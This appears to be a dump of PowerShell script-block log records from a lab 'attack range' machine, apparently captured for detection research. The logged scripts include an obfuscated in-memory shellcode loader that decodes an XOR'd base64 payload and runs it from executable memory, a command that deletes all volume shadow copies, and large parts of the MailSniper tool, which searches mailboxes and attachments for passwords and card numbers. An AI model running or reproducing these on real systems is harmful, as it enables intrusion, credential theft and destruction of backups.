4104152150x0121770Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local11function func_get_proc_address {
Param ($var_module, $var_procedure)
$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}254d91f7-86c3-4c48-b3be-529b0dd03fd2
4104132150x0121768Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local11function func_get_proc_address {
Param ($var_module, $var_procedure)
$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}
function func_get_delegate_type {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
[Parameter(Position = 1)] [Type] $var_return_type = [Void]
)
$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
$var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
return $var_type_builder.CreateType()
}
[Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+S01GVyNLVEpNSndLb1QFJNz2yyMjIyMS3HR0dHR0Sxl1WoTc9sqHIyMjeBLqcnJJIHJyS5giIyNwc0t0qrzl3PZzyq8jIyN4EvFxSyMR46dxcXFwcXNLyHYNGNz2quWg4HNLoxAjI6rDSSdzSTx1S1ZlvaXc9nwS3HR0SdxwdUsOJTtY3Pam4yyn6SIjIxLcptVXJ6rayCpLiebBftz2quJLZgJ9Etz2Etx0SSRydXNLlHTDKNz2nCMMIyMa5FYke3PKWNzc3BLcyrIiIyPK6iIjI8tM3NzcDHNPFUkjFmwCcwZjYnN4F39zeXsWFwtzfQoUYGAKFF4HZmpgYnEOcHdibWdicWcOYm13anVqcXZwDndmcHcOZWpvZgIHawhrCSMWbAJzBiN2UEZRDmJERk1XGQNuTFlKT09CDBcNEwMLQExOU0JXSkFPRhgDbnBqZgMUDRMYA3RKTUdMVFADbXcDFg0SGAMNbWZ3A2BvcQMRDRMNFhMUERQYAw1tZncDYG9xAxANEw0TFxYTFQ0QEwouKSMWbAJzBmNic3gXf3N5exYXC3N9ChRgYAoUXgdmamBicQ5wd2JtZ2JxZw5ibXdqdWpxdnAOd2Zwdw5lam9mAgdrCGsJIxZsAnMGY2JzeBd/c3l7FhcLc30KFGBgChReB2ZqYGJxDnB3Ym1nYnFnDmJtd2p1anF2cA53ZnB3DmVqb2YCB2sIawkjFmwCcwZjYnN4F39zeXsWFwtzfQoUYGAKFF4HZmpgYnEOcHdibWdicWcOYm13anVqcXZwDndmcHcOZWojS9OWgXXc9kljSyMzIyNLIyNjI3RLe4dwxtz2sJojIyMjIvpycKrEdEsjAyMjcHVLMbWqwdz2puNX5agkIuCm41bGe+DLqt7c3E5GUUBLQk1HSllGDUBCV0lCTkVGUFcNQExOIyMjIyM=')
for ($x = 0; $x -lt $var_code.Count; $x++) {
$var_code[$x] = $var_code[$x] -bxor 35
}
$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)
$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)287f19f3-08dd-4ce6-9829-0667e295e488
4104132150x0121737Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local11Set-StrictMode -Version 2
$DoIt = @'
function func_get_proc_address {
Param ($var_module, $var_procedure)
$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}
function func_get_delegate_type {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
[Parameter(Position = 1)] [Type] $var_return_type = [Void]
)
$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
$var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
return $var_type_builder.CreateType()
}
[Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+S01GVyNLVEpNSndLb1QFJNz2yyMjIyMS3HR0dHR0Sxl1WoTc9sqHIyMjeBLqcnJJIHJyS5giIyNwc0t0qrzl3PZzyq8jIyN4EvFxSyMR46dxcXFwcXNLyHYNGNz2quWg4HNLoxAjI6rDSSdzSTx1S1ZlvaXc9nwS3HR0SdxwdUsOJTtY3Pam4yyn6SIjIxLcptVXJ6rayCpLiebBftz2quJLZgJ9Etz2Etx0SSRydXNLlHTDKNz2nCMMIyMa5FYke3PKWNzc3BLcyrIiIyPK6iIjI8tM3NzcDHNPFUkjFmwCcwZjYnN4F39zeXsWFwtzfQoUYGAKFF4HZmpgYnEOcHdibWdicWcOYm13anVqcXZwDndmcHcOZWpvZgIHawhrCSMWbAJzBiN2UEZRDmJERk1XGQNuTFlKT09CDBcNEwMLQExOU0JXSkFPRhgDbnBqZgMUDRMYA3RKTUdMVFADbXcDFg0SGAMNbWZ3A2BvcQMRDRMNFhMUERQYAw1tZncDYG9xAxANEw0TFxYTFQ0QEwouKSMWbAJzBmNic3gXf3N5exYXC3N9ChRgYAoUXgdmamBicQ5wd2JtZ2JxZw5ibXdqdWpxdnAOd2Zwdw5lam9mAgdrCGsJIxZsAnMGY2JzeBd/c3l7FhcLc30KFGBgChReB2ZqYGJxDnB3Ym1nYnFnDmJtd2p1anF2cA53ZnB3DmVqb2YCB2sIawkjFmwCcwZjYnN4F39zeXsWFwtzfQoUYGAKFF4HZmpgYnEOcHdibWdicWcOYm13anVqcXZwDndmcHcOZWojS9OWgXXc9kljSyMzIyNLIyNjI3RLe4dwxtz2sJojIyMjIvpycKrEdEsjAyMjcHVLMbWqwdz2puNX5agkIuCm41bGe+DLqt7c3E5GUUBLQk1HSllGDUBCV0lCTkVGUFcNQExOIyMjIyM=')
for ($x = 0; $x -lt $var_code.Count; $x++) {
$var_code[$x] = $var_code[$x] -bxor 35
}
$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)
$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
'@
If ([IntPtr]::size -eq 8) {
start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
}
else {
IEX $DoIt
}054c70cc-a33c-4266-bfe9-efb3445119b6C:\Users\Administrator\Documents\getproc.ps1
4104152150x0112748Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local11function New-Mutex($MutexName) {
#[CmdletBinding()][OutputType([PSObject])]
#Param ([Parameter(Mandatory)][ValidateNotNullOrEmpty()][string]$MutexName)
$MutexWasCreated = $false
$Mutex = $Null
Write-Verbose "Waiting to acquire lock [$MutexName]..."
[void][System.Reflection.Assembly]::LoadWithPartialName('System.Threading')
try {
$Mutex = [System.Threading.Mutex]::OpenExisting($MutexName)
} catch {
$Mutex = New-Object System.Threading.Mutex($true, $MutexName, [ref]$MutexWasCreated)
}
try {
if (!$MutexWasCreated) { $Mutex.WaitOne() | Out-Null } } catch { }
Write-Verbose "Lock [$MutexName] acquired. Executing..."
Write-Output ([PSCustomObject]@{ Name = $MutexName; Mutex = $Mutex })
}c725bb91-f45f-4c79-966a-7ec75c7ecdb9C:\Users\Administrator\Documents\mutex.ps1
4104152150x0112746Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local11function New-Mutex($MutexName) {
#[CmdletBinding()][OutputType([PSObject])]
#Param ([Parameter(Mandatory)][ValidateNotNullOrEmpty()][string]$MutexName)
$MutexWasCreated = $false
$Mutex = $Null
Write-Verbose "Waiting to acquire lock [$MutexName]..."
[void][System.Reflection.Assembly]::LoadWithPartialName('System.Threading')
try {
$Mutex = [System.Threading.Mutex]::OpenExisting($MutexName)
} catch {
$Mutex = New-Object System.Threading.Mutex($true, $MutexName, [ref]$MutexWasCreated)
}
try {
if (!$MutexWasCreated) { $Mutex.WaitOne() | Out-Null } } catch { }
Write-Verbose "Lock [$MutexName] acquired. Executing..."
Write-Output ([PSCustomObject]@{ Name = $MutexName; Mutex = $Mutex })
}
New-Mutex("Global\$env:username$((Get-Process -PID $pid).SessionID)")81b5e91c-13f6-40bc-92ab-1eef4f63581fC:\Users\Administrator\Documents\mutex.ps1
4104152150x0112717Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local11function New-Mutex($MutexName) {
#[CmdletBinding()][OutputType([PSObject])]
#Param ([Parameter(Mandatory)][ValidateNotNullOrEmpty()][string]$MutexName)
$MutexWasCreated = $false
$Mutex = $Null
Write-Verbose "Waiting to acquire lock [$MutexName]..."
[void][System.Reflection.Assembly]::LoadWithPartialName('System.Threading')
try {
$Mutex = [System.Threading.Mutex]::OpenExisting($MutexName)
} catch {
$Mutex = New-Object System.Threading.Mutex($true, $MutexName, [ref]$MutexWasCreated)
}
try {
if (!$MutexWasCreated) { $Mutex.WaitOne() | Out-Null } } catch { }
Write-Verbose "Lock [$MutexName] acquired. Executing..."
Write-Output ([PSCustomObject]@{ Name = $MutexName; Mutex = $Mutex })
}
New-Nutex("Global\$env:username$((Get-Process -PID $pid).SessionID)")ebcd6871-53ce-49de-8ab5-5eb80956857fC:\Users\Administrator\Documents\mutex.ps1
4104152150x0121838Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local11Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();}205af966-f636-408b-970e-9755248c2a52
4104152150x0121938Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local11Invoke-SelfSearch49da6475-b0ca-4b2b-a74f-e7a4d9b01471
4104132150x0121870Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local661specific terms.
.PARAMETER ExchHostname
The hostname of the Exchange server to connect to.
.PARAMETER Mailbox
Email address of the current user the PowerShell process is running as.
.PARAMETER Terms
Certain terms to search through each email subject and body for. By default the script looks for "*password*","*creds*","*credentials*"
.PARAMETER ExchangeVersion
In order to communicate with Exchange Web Services the correct version of Microsoft Exchange Server must be specified. By default this script tries "Exchange2010". Additional options to try are Exchange2007_SP1, Exchange2010, Exchange2010_SP1, Exchange2010_SP2, Exchange2013, or Exchange2013_SP1.
.PARAMETER OutputCsv
Outputs the results of the search to a CSV file.
.PARAMETER MailsPerUser
The total number of emails to return for each mailbox.
.PARAMETER Remote
A switch for performing the search remotely across the Internet against a system hosting EWS. Instead of utilizing the current user's credentials if the -Remote option is added a new credential box will pop up for accessing the remote EWS service.
.PARAMETER Folder
The folder of each mailbox to search. By default the script only searches the "Inbox" folder. By specifying 'all' for the Folder option all of the folders including subfolders of the specified mailbox will be searched.
.PARAMETER Regex
The regex parameter allows for the use of regular expressions when doing searches. This will override the -Terms flag.
.PARAMETER CheckAttachments
If the CheckAttachments option is added MailSniper will attempt to search through the contents of email attachements in addition to the default body/subject. These attachments can be downloaded by specifying the -DownloadDir option. It only searches attachments that are of extension .txt, .htm, .pdf, .ps1, .doc, .xls, .bat, and .msg currently.
.PARAMETER DownloadDir
When the CheckAttachments option finds attachments that are matches to the search terms the files can be downloaded to a specific location using the -DownloadDir option.
.PARAMETER UsePrt
Uses current user's PRT to authenticate.
.PARAMETER AccessToken
Use provided oauth access token to authenticate.
.EXAMPLE
C:\PS> Invoke-SelfSearch -Mailbox current-user@domain.com
Description
-----------
This command will connect to the Exchange server autodiscovered from the email address entered using Exchange Web Services where by default 100 of the latest emails from the "Mailbox" will be searched through for the terms "*pass*","*creds*","*credentials*".
.EXAMPLE
C:\PS> Invoke-SelfSearch -Mailbox current-user@domain.com -ExchHostname -MailsPerUser 2000 -Terms "*passwords*","*super secret*","*industrial control systems*","*scada*","*launch codes*"
Description
-----------
This command will connect to the Exchange server entered as "ExchHostname" followed by a connection to Exchange Web Services as where 2000 of the latest emails from the "Mailbox" will be searched through for the terms "*passwords*","*super secret*","*industrial control systems*","*scada*","*launch codes*".
.EXAMPLE
C:\PS> Invoke-SelfSearch -Mailbox current-user@domain.com -ExchHostname mail.domain.com -OutputCsv mails.csv -Remote
Description
-----------
This command will connect to the remote Exchange server specified with -ExchHostname using Exchange Web Services where by default 100 of the latest emails from the "Mailbox" will be searched through for the terms "*pass*","*creds*","*credentials*". Since the -Remote flag was passed a new credential box will popup asking for the user's credentials to authenticate to the remote EWS. The username should be the user's domain login (i.e. domain\username) but depending on how internal UPN's were setup it might accept the user's email address (i.e. user@domain.com).
.EXAMPLE
C:\PS> Invoke-SelfSearch -Mailbox current-user@domain.com -Regex '.*3[47][0-9]{13}.*|.*(?:5[1-5][0-9]{2}|222[1-9]|22[3-9][0-9]|2[3-6][0-9]{2}|27[01][0-9]|2720)[0-9]{12}.*|.*4[0-9]{12}(?:[0-9]{3}).*'
Description
-----------
This command will utilize a Regex search instead of the standard Terms functionality. Specifically, the regular expression in the example above will attempt to match on valid VISA, Mastercard, and American Express credit card numbers in the body and subject's of emails.
.EXAMPLE
C:\PS> Invoke-SelfSearch -Mailbox current-user@domain.com -Folder all
Description
-----------
This command will connect to the Exchange server autodiscovered from the email address entered using Exchange Web Services where by default 100 of the latest emails in all of the folders including subfolders from the "Mailbox" will be searched through for the terms "*pass*","*creds*","*credentials*".
.EXAMPLE
C:\PS> Invoke-SelfSearch -Mailbox current-user@domain.com -CheckAttachments -DownloadDir C:\temp
Description
-----------
This command will search through all of the attachments to emails as well as the default body/subject for specific terms and download any attachments found to the C:\temp directory.
#>
Param(
[Parameter(Position = 0, Mandatory = $true)]
[string]
$Mailbox = "",
[Parameter(Position = 1, Mandatory = $false)]
[system.URI]
$ExchHostname = "",
[Parameter(Position = 2, Mandatory = $False)]
[string[]]$Terms = ("*password*","*creds*","*credentials*"),
[Parameter(Position = 3, Mandatory = $False)]
[int]
$MailsPerUser = 100,
[Parameter(Position = 4, Mandatory = $False)]
[string]
$OutputCsv = "",
[Parameter(Position = 5, Mandatory = $False)]
[string]
$ExchangeVersion = "Exchange2010",
[Parameter(Position = 6, Mandatory = $False)]
[switch]
$Remote,
[Parameter(Position = 7, Mandatory = $False)]
[string]
$Folder = 'Inbox',
[Parameter(Position = 8, Mandatory = $False)]
[string]
$Regex = '',
[Parameter(Position = 9, Mandatory = $False)]
[switch]
$CheckAttachments,
[Parameter(Position = 10, Mandatory = $False)]
[string]
$DownloadDir = "",
[Parameter(Position = 11, Mandatory = $False)]
[switch]
$OtherUserMailbox,
[Parameter(Position = 12, Mandatory = $False)]
[switch]
$UsePrt,
[Parameter(Position = 13, Mandatory = $False)]
[string]
$AccessToken
)
#Running the LoadEWSDLL function to load the required Exchange Web Services dll
LoadEWSDLL
Write-Output "[*] Trying Exchange version $ExchangeVersion"
$ServiceExchangeVersion = [Microsoft.Exchange.WebServices.Data.ExchangeVersion]::$ExchangeVersion
$service = New-Object Microsoft.Exchange.WebServices.Data.ExchangeService($ServiceExchangeVersion)
#If the -Remote flag was passed prompt for the user's domain credentials.
if ($Remote)
{
$remotecred = Get-Credential
$service.UseDefaultCredentials = $false
$service.Credentials = $remotecred.GetNetworkCredential()
}
elseif ($UsePrt)
{
#Get oauth access token with EWS permissions via office native app
$token = $(Get-ExchangeAccessToken -AccountName $Mailbox).access_token
$service.Credentials = [Microsoft.Exchange.WebServices.Data.OAuthCredentials]$token
}
elseif ($AccessToken)
{
#Use provided oauth access token
$service.Credentials = [Microsoft.Exchange.WebServices.Data.OAuthCredentials]$AccessToken
}
else
{
#Using current user's credentials to connect to EWS
$service.UseDefaultCredentials = $true
}
## Choose to ignore any SSL Warning issues caused by Self Signed Certificates
## Code From http://poshcode.org/624
## Create a compilation environment
$Provider=New-Object Microsoft.CSharp.CSharpCodeProvider
$Compiler=$Provider.CreateCompiler()
$Params=New-Object System.CodeDom.Compiler.CompilerParameters
$Params.GenerateExecutable=$False
$Params.GenerateInMemory=$True
$Params.IncludeDebugInformation=$False
$Params.ReferencedAssemblies.Add("System.DLL") > $null
$TASource=@'
namespace Local.ToolkitExtensions.Net.CertificatePolicy{
public class TrustAll : System.Net.ICertificatePolicy {
public TrustAll() {
}
public bool CheckValidationResult(System.Net.ServicePoint sp,
System.Security.Cryptography.X509Certificates.X509Certificate cert,
System.Net.WebRequest req, int problem) {
return true;
}
}
}
'@
$TAResults=$Provider.CompileAssemblyFromSource($Params,$TASource)
$TAAssembly=$TAResults.CompiledAssembly
## We now create an instance of the TrustAll and attach it to the ServicePointManager
$TrustAll=$TAAssembly.CreateInstance("Local.ToolkitExtensions.Net.CertificatePolicy.TrustAll")
[System.Net.ServicePointManager]::CertificatePolicy=$TrustAll
## end code from http://poshcode.org/624
if ($ExchHostname -ne "")
{
("[*] Using EWS URL " + "https://" + $ExchHostname + "/EWS/Exchange.asmx")
$service.Url = new-object System.Uri(("https://" + $ExchHostname + "/EWS/Exchange.asmx"))
}
else
{
("[*] Autodiscovering email server for " + $Mailbox + "...")
try
{
$service.AutoDiscoverUrl($Mailbox, {$true})
}
catch [System.Management.Automation.MethodInvocationException]
{
$e = $_.Exception.InnerException
if ($e.GetType().Name -eq "AutodiscoverRemoteException")
{
[Microsoft.Exchange.WebServices.autodiscover.AutodiscoverRemoteException]$e = $e
# AutodiscoverRemoteException has an Error property which describes the error returned by the AutoDiscover service
# https://msdn.microsoft.com/en-us/library/microsoft.exchange.webservices.autodiscover.autodiscoverremoteexception.error%28v=exchg.80%29.aspx?f=255&MSPPError=-2147217396
Write-Output ("[!] AutodiscoverRemoteException: '" + $e.Error.Message + "'")
break
}
# Unfortunately, the other exception case, AutodiscoverLocalException does not have the Error property
# Therefore we do not have any interesting info to display
}
}
if($OtherUserMailbox)
{
$msgfolderroot = New-Object Microsoft.Exchange.WebServices.Data.FolderId([Microsoft.Exchange.WebServices.Data.WellKnownFolderName]::Inbox,$Mailbox)
$Inbox = [Microsoft.Exchange.WebServices.Data.Folder]::Bind($service,$msgfolderroot)
$ItemView = New-Object Microsoft.Exchange.WebServices.Data.ItemView(1)
$Item = $service.FindItems($Inbox.Id,$ItemView)
}
else
{
$msgfolderroot = [Microsoft.Exchange.WebServices.Data.WellKnownFolderName]::MsgFolderRoot
$mbx = New-Object Microsoft.Exchange.WebServices.Data.Mailbox( $Mailbox )
$FolderId = New-Object Microsoft.Exchange.WebServices.Data.FolderId( $msgfolderroot, $mbx)
$rootFolder = [Microsoft.Exchange.WebServices.Data.Folder]::Bind($service,$FolderId)
$folderView = [Microsoft.Exchange.WebServices.Data.FolderView]100
$folderView.Traversal='Deep'
$rootFolder.Load()
if ($Folder -ne "all")
{
$CustomFolderObj = $rootFolder.FindFolders($folderView) | Where-Object { $_.DisplayName -eq $Folder }
}
else
{
$CustomFolderObj = $rootFolder.FindFolders($folderView)
}
}
$PostSearchList = @()
if($OtherUserMailbox)
{
$PropertySet = New-Object Microsoft.Exchange.WebServices.Data.PropertySet([Microsoft.Exchange.WebServices.Data.BasePropertySet]::Fb38663b9-7d90-46e4-81bb-901c053808bdC:\Users\Administrator\Downloads\MailSniper-master\MailSniper-master\MailSniper.ps1
4104132150x0121869Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local561 }
if ($CheckAttachments)
{
foreach($attachment in $item.Attachments)
{
if($attachment -is [Microsoft.Exchange.WebServices.Data.FileAttachment])
{
if($attachment.Name.Contains(".txt") -Or $attachment.Name.Contains(".htm") -Or $attachment.Name.Contains(".pdf") -Or $attachment.Name.Contains(".ps1") -Or $attachment.Name.Contains(".doc") -Or $attachment.Name.Contains(".xls") -Or $attachment.Name.Contains(".bat") -Or $attachment.Name.Contains(".msg"))
{
$attachment.Load() | Out-Null
$plaintext = [System.Text.Encoding]::ASCII.GetString($attachment.Content)
if ($Regex -eq "")
{
foreach($specificterm in $Terms)
{
if ($plaintext -like $specificterm)
{
Write-Output ("Found attachment " + $attachment.Name)
$PostSearchList += $item
if ($DownloadDir -ne "")
{
$prefix = Get-Random
$DownloadFile = new-object System.IO.FileStream(($DownloadDir + "\" + $prefix + "-" + $attachment.Name.ToString()), [System.IO.FileMode]::Create)
$DownloadFile.Write($attachment.Content, 0, $attachment.Content.Length)
$DownloadFile.Close()
}
}
elseif ($plaintext -like $specificterm)
{
Write-Output ("Found attachment " + $attachment.Name)
$PostSearchList += $item
if ($DownloadDir -ne "")
{
$prefix = Get-Random
$DownloadFile = new-object System.IO.FileStream(($DownloadDir + "\" + $prefix + $attachment.Name.ToString()), [System.IO.FileMode]::Create)
$DownloadFile.Write($attachment.Content, 0, $attachment.Content.Length)
$DownloadFile.Close()
}
}
}
}
else
{
foreach($regularexpresion in $Regex)
{
if ($plaintext -match $regularexpresion)
{
Write-Output ("Found attachment " + $attachment.Name)
$PostSearchList += $item
if ($DownloadDir -ne "")
{
$prefix = Get-Random
$DownloadFile = new-object System.IO.FileStream(($DownloadDir + "\" + $prefix + $attachment.Name.ToString()), [System.IO.FileMode]::Create)
$DownloadFile.Write($attachment.Content, 0, $attachment.Content.Length)
$DownloadFile.Close()
}
}
elseif ($plaintext -match $regularexpresion)
{
Write-Output ("Found attachment " + $attachment.Name)
$PostSearchList += $item
if ($DownloadDir -ne "")
{
$prefix = Get-Random
$DownloadFile = new-object System.IO.FileStream(($DownloadDir + "\" + $prefix + $attachment.Name.ToString()), [System.IO.FileMode]::Create)
$DownloadFile.Write($attachment.Content, 0, $attachment.Content.Length)
$DownloadFile.Close()
}
}
}
}
}
}
}
}
}
}
if ($OutputCsv -ne "")
{
$TempOutputCsv = "$OutputCsv$(".temp")"
$PostSearchList | %{ $_.Body = $_.Body -replace "`r`n",'\n' -replace ",",','}
$PostSearchList | Select-Object Sender,ReceivedBy,Subject,Body | Export-Csv $TempOutputCsv -encoding "UTF8"
if ($TempOutputCsv)
{
Import-Csv $TempOutputCsv | ConvertTo-Csv -NoTypeInformation | Select-Object -Skip 1 | Out-File -Encoding ascii -Append $OutputCsv
Remove-Item $TempOutputCsv
}
}
else
{
$PostSearchList | ft -Property Sender,ReceivedBy,Subject,Body | Out-String
}
}
if ($OutputCsv -ne "")
{
$filedata = Import-Csv $OutputCsv -Header Sender , ReceivedBy , Subject , Body
$filedata | Export-Csv $OutputCsv -NoTypeInformation
Write-Host -foregroundcolor "yellow" "`r`n[*] Results have been output to $OutputCsv"
}
#Remove User from impersonation role
Write-Output "`r`n[*] Removing ApplicationImpersonation role from $ImpersonationAccount."
Get-ManagementRoleAssignment -RoleAssignee $ImpersonationAccount -Role ApplicationImpersonation -RoleAssigneeType user | Remove-ManagementRoleAssignment -confirm:$false
}
function Send-EWSEmail {
<#
.SYNOPSIS
This module will connect to a Microsoft Exchange server using Exchange Web Services to send emails from the current user's mailbox.
MailSniper Function: Send-EWSEmail
Author: Steve Borosh (@424f424f)
License: BSD 3-Clause
Required Dependencies: LoadEWSDLL
Optional Dependencies: None
.DESCRIPTION
This module will connect to a Microsoft Exchange server using Exchange Web Services to send emails.
.PARAMETER ExchHostname
The hostname of the Exchange server to connect to.
.PARAMETER ExchangeVersion
In order to communicate with Exchange Web Services the correct version of Microsoft Exchange Server must be specified. By default this script tries "Exchange2010". Additional options to try are Exchange2007_SP1, Exchange2010, Exchange2010_SP1, Exchange2010_SP2, Exchange2013, or Exchange2013_SP1.
.PARAMETER Recipient
Email address of the recipient who will receive the email.
.PARAMETER Subject
Subject of the email.
.PARAMETER emailBody
Body of the email. Maybe in HTML format.
.PARAMETER Attachment
Path to an attachment file.
.PARAMETER UsePrt
Uses current user's PRT to authenticate.
.PARAMETER AccessToken
Use provided oauth access token to authenticate.
.PARAMETER Remote
A switch accessing remotely across the Internet against a system hosting EWS. Instead of utilizing the current user's credentials if the -Remote option is added a new credential box will pop up for accessing the remote EWS service.
.EXAMPLE
C:\PS> Send-EWSEmail -ServiceURL "https://outlook.office365.com/EWS/Exchange.asmx" -Recipient "me@me.com" -Subject "Important Message!" -EmailBody "All, <br> Check out the attachment." -Attachment .\WordDocument.rtf
Description
-----------
This command will connect to Office365 via EWS API to send email messages.
.EXAMPLE
C:\PS> Send-EWSEmail -ServiceURL "https://substrate.office.com/EWS/Exchange.asmx" -Recipient "me@me.com" -Subject "Important Message!" -EmailBody "All, <br> Check out the attachment." -Attachment .\WordDocument.rtf
Description
-----------
This command will connect to Office365 via Substrate EWS API to send email messages.
#>
[CmdletBinding()]
Param(
[Parameter(Mandatory = $True)]
[String]
$ExchHostname,
[Parameter(Mandatory = $False)]
[String]
$ExchangeVersion = "Exchange2010",
[Parameter(Mandatory = $True)]
[String]
$Recipient,
[Parameter(Mandatory = $True)]
[String]
$Subject,
[Parameter(Mandatory = $True)]
[String]
$EmailBody,
[Parameter(Mandatory = $False)]
[String]
$Attachment,
[Parameter(Mandatory = $False)]
[String]
$UsePrt,
[Parameter(Mandatory = $False)]
[String]
$AccessToken,
[Parameter(Mandatory = $False)]
[switch]
$Remote
)
try
{
LoadEWSDLL
$ServiceExchangeVersion = [Microsoft.Exchange.WebServices.Data.ExchangeVersion]::$ExchangeVersion
$service = New-Object Microsoft.Exchange.WebServices.Data.ExchangeService($ServiceExchangeVersion)
#If the -Remote flag was passed prompt for the user's domain credentials.
if ($Remote)
{
$remotecred = Get-Credential
$service.UseDefaultCredentials = $false
$service.Credentials = $remotecred.GetNetworkCredential()
}
elseif ($UsePrt)
{
#Get OAuth access token with EWS permissions via Office native app
$token = $(Get-ExchangeAccessToken -AccountName $Mailbox).access_token
$service.Credentials = [Microsoft.Exchange.WebServices.Data.OAuthCredentials]$token
}
elseif ($AccessToken)
{
$service.Credentials = [Microsoft.Exchange.WebServices.Data.OAuthCredentials]$AccessToken
}
else
{
#Using current user's credentials to connect to EWS
$service.UseDefaultCredentials = $true
}
if ($ExchHostname -ne "")
{
("[*] Using EWS URL " + "https://" + $ExchHostname + "/EWS/Exchange.asmx")
$service.Url = new-object System.Uri(("https://" + $ExchHostname + "/EWS/Exchange.asmx"))
}
else
{
